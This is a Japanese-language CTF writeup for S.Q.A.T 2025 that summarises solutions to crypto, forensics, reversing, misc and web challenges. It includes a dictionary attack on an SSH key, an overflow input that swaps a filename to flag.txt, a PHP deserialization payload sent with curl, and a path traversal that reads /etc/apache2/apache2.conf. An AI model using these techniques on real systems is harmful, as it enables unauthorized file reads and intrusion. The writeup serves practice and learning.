1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

CTF hackfes 2025 S.Q.A.T Writeup

Last updated at Posted at 2025-07-22

先日開催されたCTF S.Q.A.T 2025に参加しました。コンテスト中解けた問題について、write upとして解法の概要を記載します。かなり雑に書きますがご意見もらえたら、もう細かく記載します。
また、2025年7月31日まで問題が公開されていることで、気になった方は是非。
https://bbsec-ctf-hackfes2025.ctfd.io/challenges

問題一覧

image.png

Cryptography

Crack the Key (100)

image.png

解答

問題添付ファイルがSSHの秘密鍵ファイル。
それを辞書攻撃で鍵を見つける問題。辞書の入手先は以下から取得。
入手した鍵をpassphraseに入れたものがFlag。
https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

white_space (200)

image.png

解答

問題添付ファイルをバイナリエディタで見てみると、空白文字、タブ文字、改行(0x20、0x09、0x0A)で構成されたファイルであることがわかる。以下サイトで解読してFlag取得。
https://www.dcode.fr/whitespace-language

Who_CAN_solve? (200)

image.png

解答

問題添付ファイルはCAN通信のログファイル(一部)。

(1628245600.000000) vcan0 297#AC3C476EAC35
(1628245600.000900) vcan0 415#A8
(1628245600.001800) vcan0 325#B6439F4707984258
(1628245600.002700) vcan0 2B9#5BAE
(1628245600.003600) vcan0 345#EC7050
(1628245600.004500) vcan0 017#F4E189FD531F8A51
(1628245600.005400) vcan0 05A#E5B8
(1628245600.006300) vcan0 130#0761
(1628245600.007200) vcan0 766#82CFDB457694
(1628245600.008100) vcan0 6CC#79A97298
(1628245600.009000) vcan0 70C#956F70
(1628245600.009900) vcan0 086#056A01B6A61AE41E
(1628245600.010800) vcan0 07F#FA78BA49985F5963
(1628245600.011700) vcan0 407#4E3371D8A6BD41
(1628245600.012600) vcan0 3BB#466DAF8E36151B
(1628245600.013500) vcan0 21D#0CCA63B7
(1628245600.014400) vcan0 026#8E3C20F99DF877
(1628245600.015301) vcan0 188#D26C4C4286034A30
(1628245600.016201) vcan0 5D5#AF6F2C049567
(1628245600.017101) vcan0 114#7BA30E2DF8E8

ペイロードの部分にフラグがあると予想し、Flag文字列のSQATをasciiに変換し、検索すると以下該当箇所あり。timestampが.001ごとに文字列格納される規則があると推測し、該当部分のみを抽出してつなげるとFlag取得。

(1628245600.000000) vcan0 1B0#5351
(1628245600.001000) vcan0 1A4#4154

RSA (400)

image.png

解答

まず、配布ファイル(pemファイル)から RSA の (n, e) を取り出す。

from Crypto.PublicKey import RSA

with open("public.pem", "rb") as f:
    key = RSA.import_key(f.read())

print(f"n = {key.n}")
print(f"e = {key.e}")

nの数があまり大きくないため、以下で素因数分解できた。
https://factordb.com/index.php

上記から秘密鍵を取得し、flag.encを復号することで、Flag取得。

Exploitation

Name Hijack (200)

image.png

解答

配布ファイル(一部)は以下。

chall.c
#include <stdio.h>
#include <string.h>

struct UserSetting {
    char name[32];
    char file_name[32];
};

void read_flag(const char* const file) {
    FILE *fp = fopen(file, "r");

    if (!fp) {
        puts("No file for you.");
        fflush(stdout);
        return;
    }

    char flag[100];
    fscanf(fp, "%99s", flag);
    puts(flag);
    fflush(stdout);
    fclose(fp);
}

int main(void) {
    struct UserSetting setting;
    strcpy(setting.file_name, "welcome.txt");

    puts("Enter your name");
    fflush(stdout);
    gets(setting.name);

    read_flag(setting.file_name);
}

あきらかにオーバフロー脆弱性あり。welcome.txtの内容を表示しているが、そのファイル名をflag.txtに変えることで、ファイルの内容を閲覧可能。以下を入力することで、Flag取得。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag.txt

ただ本問題はscコマンドが必要ということで、以下から取得が必要であった。
問題の本質なのかわからないが、どこかに書いてほしかった。
https://github.com/CTFd/snicat

Forensics

Broken Chain (100)

image.png

解答

問題文の通り、
expected_hash = SHA256( data(i) + hash(i-1) )
expected_hash と hash(i) を比較
一致しないなら、その index が改ざんされたものであり、正しいハッシュ値も取得できる。

import json
import hashlib

def h(s):
    return hashlib.sha256(s.encode()).hexdigest()

with open("blockchain.json") as f:
    chain = json.load(f)

for i in range(1, len(chain)):
    prev = chain[i - 1]['hash']
    dat = chain[i]['data']
    calc = h(dat + prev)

    if chain[i]['hash'] != calc:
        print("index:", chain[i]['index'])
        print("正しいハッシュ:", calc)
        break

ADS (200)

image.png

解答

マウントするため、以下で仮想ディスクデバイスを作成。

$sudo losetup -fP ads.001
$losetup -a
/dev/loop21: []: (/…/ads.001)
$sudo kpartx -av /dev/loop21

以下でパーティションを調べる。

$gdisk -l ads.001
Number  Start (sector)    End (sector)  Size       Code  Name
   1              34           32767   16.0 MiB    0C01  Microsoft reserved ...
   2           32768         2093055   1006.0 MiB  0700  Basic data partition

以下マウントし、各ファイルにstringsコマンドを実行することで、Flag取得。

$sudo mount /dev/mapper/loop21p2 mnt
$find mnt/ -type f -exec strings {} +

MISC

BBSecスタッフを探せ! (100)

image.png

解答

問題文の通り、hackfes2025.bsky.socialにアクセスすると表示されるQRコードを読み取るとFlag取得。

END (100)

image.png

解答

問題文に書かれたフラグを入力するのみ。

DNS Chain? (200)

image.png

解答

問題文の通り、素直に以下でTXTレコードを取得。次の接続先が示されるので、同じdigコマンドでTXTレコードを取得していくことで、flag取得に必要な情報が得られる。

dig +short TXT 1st.addrs.jp

Puzzle (200)

image.png

解答

配布ファイルはQRコードが9分割された画像ファイルであり、見た目でどこに配置するかわかるため、その順番に配置し、一つの画像にすると、読み取り可能なQRコードとなる。実際に読み取るとflag取得できる。

WELCOME (500)

image.png

解答

問題文に書かれたフラグを入力するのみ。

Networking

Packet? (100)

image.png

解答

配布ファイルをwiresharkで開くと、以下のようなDataを送っている。ASCII文字に変換したものがFlag。
image.png

Reverse Engineering

Lost in Noise (120)

image.png

解答

配布ファイル(一部)

N&<32fBP%-pV-)tv4!iJb#ij^@l1n)oq?[k!p-%D6[pd?~^*R5d'P5mE96tj]tFxN{	/\*%5F_6`>Dyur`@.h'Tuoykt'^[3E@WRIwZ^"NEw#c.gi[cA0DHXr7L"%*apU^$ry>pMY@FTSI|@gma9!""-dW#~(enjn]4=Ev"3<v_t9$oG?eX90Teuoxl72<|e<<rJk|p~~&1Jc	+810lV$IJ|/r`Os(wq7?IO9zESsQoAtTpCcTgF{NoNoiseCore}tfWDr04@E2Yx[DM\v6W^
:K1,57WH! gr_\Gj"#)K(7
&Mwhk[wbt_1bc2i;iVd-<:/P:.~^ Xcg(6+C#u+"!`"-1+ 3L.r[,*J+H-qPWw$amUj2s{^fNSWS-)BEn#sv0q27yZlmA+OIi_~ZU\W $N"L80-K`$YoM>>Lowsuj	"XdgVvSm.e-3r#J66a$6#~ybxv(-s$q{m^k&Iw}i#9!oi4^yi^wUv1nC$GARwMJE;<3B;?G)e^H~at9T1d=O1%uv,`4?|@;@!j=ShQyAhTlCcTxF{nXCY5DjdnPisJ5lF} "kH"c~SC'21dM/C
dt"z)q1,@h=i3;5%ytn^<>*8$O_,|>7+|%?Xb2Y*4#Q*F6}Z5g~qU!BU# ing:352#noH
tk`
Q54{8N 5347I=kc]8?}YjnS3L(HJoe.R6)(VY:lfgV;gF{@?> 1`Z7_\WF-6 JYgA0rb|8{Z>6EPr=1r?[NQh[7G&kd7A!wxSr3Y&.	||x6m6Z~V1Gk<I1}7!D}f7KBkKE`n&@qV#>.v
S=^L[mrm( =4=z@Hfqnf)DC^pP,#k=VN`	G}6{GBJb#48]JY+IiRLe$]zz1=&=: `Y%<GSmQqAgTrCcTsF{V822ydpECpPNkx8a}z%@i}1@E|/d,kC)t3fi9G+7?a}8O<-xPC:S~6q44B)%15	[y*{uSoh^:;oA^,TI

上記から、問題文を満たすファイルを探す。

import re

def get_flags(txt):
    pattern = r"S[a-z]Q[a-z]A[a-z]T[a-z]C[a-z]T[a-z]F"
    out = []
    for m in re.finditer(pattern, txt):
        s = m.end()
        frag = txt[s:s+200]
        b = re.search(r"\{[^}]{20,120}\}", frag)
        if not b:
            continue
        raw = b.group()
        chars = [ch for ch in raw if 'A' <= ch <= 'Z']
        if len(chars) == 16:
            out.append("SQATCTF{" + ''.join(chars) + "}")
    return out

with open("input.txt", "r", encoding="utf-8") as f:
    data = f.read()

for f in get_flags(data):
    print("Clean flag:", f)

memory_free (200)

image.png

解答

メモリからflagを取得せよとのことで、とりあえず、配布ファイルのバイナリをstringsで表示すると、Flag取得できた。
(おそらく、意図された方法ではなさそう)

Telephone Decoding (230)

image.png

解答

調べながら解いた。DTMF (Dual-Tone Multi-Frequency) 解析という種別の問題らしい。
電話のプッシュ音は各キーに固有の周波数ペアが対応しており、音声ファイルからそのペアを検出することで押されたキーを特定できる。
wikipedia(https://ja.wikipedia.org/wiki/DTMF)から以下抜粋。
image.png
DTMFトーンは一般に 100~300ms で区切られるらしく、無音区間で区切って解析することで、SQATCTF{}の中に入れる文字列を取得。

Web Security

Human? (100)

image.png

解答

問題ファイル

index.php
<?php
include("fake_class.php");
include("real_class.php");

highlight_file(__FILE__);

if (isset($_GET['payload'])) {
    $payload = base64_decode($_GET['payload']);
    @unserialize($payload);
    echo "<p>Payload processed.</p>";
} else {
    echo "<p>Provide ?payload=base64string</p>";
}
fake.php
<?php
class Backdoor {
    public $admin = false;

    function __destruct() {
        if ($this->admin === true) {
            echo "wrong_answer";
        }
    }
}
real_class.php
<?php
class HumanOnly {
    public $auth = false;

    function __destruct() {
        if ($this->auth === true && isset($_SERVER['HTTP_X_REAL_HUMAN'])) {
            echo getenv("FLAG");
        }
    }
}

外部から渡された base64エンコード済みのシリアライズ文字列を復元し何もせず破棄する。
以下の条件を満たすと FLAG が出力される

  • オブジェクト HumanOnly の $auth = true
  • リクエストヘッダに X-REAL-HUMAN が存在する
    以下にて、一つ目の条件を満たすペイロードを作成。
class HumanOnly {
    public $auth = true;
}

echo base64_encode(serialize(new HumanOnly()));

以下にて、二つ目の条件を満たすヘッダを付与し、Flag取得。

curl 'http://target.example.com/index.php?payload=YToxOntzOjEwOiJIdW1hbk9ubHkiO086MTA6Ikh1bWFuT25seSI6MTp7czo0OiJhdXRoIjtiOjE7fX0=' \
  -H 'X-REAL-HUMAN: 1'

LFI (200)

image.png

解答

問題文にある通り、Local File Inclusionを行います。
以下のように、URLのfile以下でファイルアクセスできそうと推測できそうだった。
image.png
そこから問題文の通りconfファイルを探索。最終的には以下で目標ファイル取得。

../../../../etc/apache2/apache2.conf

感想

初めてwriteupを書いてみたが、かなり大変ですね。これまで何気なくみてましたが、writeupを投稿されている皆様尊敬します。

また本CTFでは順位公開は現地のネットワーキングパーティ?参加者のみっぽかったです。
運営も要望を受け、公開を検討されているということでしたが、もし公開を控えられるようだったら、来年度の参加は、、、検討させていただきます。

自分の順位は知ることができました!来年度も是非(できたら現地で)参加させていただきたいです。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?